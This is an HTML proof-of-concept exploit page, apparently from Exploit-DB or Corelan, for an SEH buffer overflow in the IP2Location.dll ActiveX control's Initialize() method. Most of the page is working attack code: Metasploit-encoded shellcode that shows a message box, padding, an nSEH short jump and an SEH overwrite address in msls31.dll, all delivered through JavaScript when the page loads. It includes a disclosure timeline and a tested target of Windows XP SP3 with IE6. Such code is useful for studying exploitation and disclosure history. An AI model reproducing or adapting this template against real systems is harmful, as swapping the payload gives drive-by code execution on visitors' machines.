|
<html>
<head>
<title>IP2Location.dll v1.0.0.1 Initialize() Buffer Overflow by sinn3r</title>
</head>
<body>
<object classid='clsid:A3C8BFFA-1496-4188-A2BC-355A0B3DA0A7' id='ip2location'></object>
<script language="JavaScript">
/*
IP2Location.dll v1.0.0.1 Initialize() Buffer Overflow
Vulnerable version : v1.0.0.1 (checksum: d86933ab58720c384bdc081d33684f7d)
patched version : v1.0.0.1 (checksum: bf66e2ef8be3c301b381cfb424ad0afc), v3.0.1.0
Found and coded by sinn3r
http://twitter.com/_sinn3r
Greets: Corelan Security Team & Exploit-DB
1) Script provided 'as is', without any warranty. Use for educational purposes only.
2) Do not use this code to do anything illegal, that's ridiculous!
3) You are not allowed to edit/modify this code. If you do, Corelan Security cannot be
held responsible for any damages this may cause.
Timeline:
05/19/2010 Vendor Contacted.
05/20/2010 Vendor asking for more details
05/29/2010 Received the latest beta release from vendor
05/30/2010 public
For more vulnerability details, visit:
http://www.corelan.be:8800/advisories.php?id=CORELAN-10-044
*/
// ./msfpayload windows/messagebox exitfunc=thread TEXT="by sinn3r" TITLE="Demo by Corelan"
messagebox = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHYJKMK8Y2T7TZTP1XRNRRZVQ9YSTL"+
"KT1VPLKSFDLLKSFULLKG6THLK3NQ0LK7FP80OUH2UL3V95Q8QKOM1CPLK2LFD6DLKW5GLLK1DUU48C1JJLKQZUHL"+
"K1JWP31ZKKSVWG9LKP4LKEQJNP1KO6Q9PKLNLMTIP2TDJIQXOTMC1HGM9L1KOKOKOGKSLFDQ8RUYNLK0ZVDS1JKU"+
"6LKTLPKLK0ZELUQJKLKUTLK5QM8MYPDVDEL3QO3OB5XQ9YDMYZEK9O2RHLNPNDNZL62KXMLKOKOKOK9QUUTOKZO8"+
"NKPSPLGULWTPRZHLKKOKOKOLIW5THBH2LRL7PKO58VS6RVNU4CXT5T3CUCBK8QL7TUZMYM6PVKOV55TMYHBF0OKO"+
"XY20MOLLG5LFD0RM8QNKOKOKO582LSQ2NPXU8QS2OBRSUE8GPSRSIQ058G42ERMRO6Q9KMXQLWT4OK9JC3X2R68W"+
"P10SX592NRNVSE8U2BY7PRSVQIYMX0LQ439K9KQFQYBQB63PQPRKON06QIPPPKOF5UXEZA";
alignment = unescape(
"%58"+ //POP EAX
"%04%0B" //ADD AL, 0x0B
);
// Tested size = 10260 bytes
var padding1 = unescape("%41"); //Padding
while (padding1.length < 1912)
padding1 += unescape("%41");
var nseh = unescape("%EB%06%42%42"); //Short Jump
var seh = unescape("%71%33%6E%74"); //0x746E3371 msls31.dll IE6
var padding2 = unescape("%41"); //Padding
while (padding2.length < 10000)
padding2 += unescape("%41");
buffer = padding1 + nseh + seh + alignment + messagebox + padding2;
var arg1 = ip2location.Initialize(buffer);
</script>
<pre>
|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| |
|-------------------------------------------------[ EIP Hunters ]--|
[+] IP2Location.dll v1.0.0.1 Initialize() Buffer Overflow
[+] http://www.corelan.be:8800/advisories.php?id=CORELAN-10-044
[+] Tested on Windows XP SP3 + IE 6.0 + IP2Location.dll v1.0.0.1
[+] Found and coded by sinn3r - x90.sinner{at}gmail{d0t}c0m
[+] http://twitter.com/_sinn3r
[+] Special thanks to: corelanc0d3r and Sud0
Download the DLL, do a "regsvr32 IP2Location.dll", and run the proof of concept.
When successful, this POC should pop up a MessageBox.
</pre>
</body>
</html>
|
推荐
评论(0条)
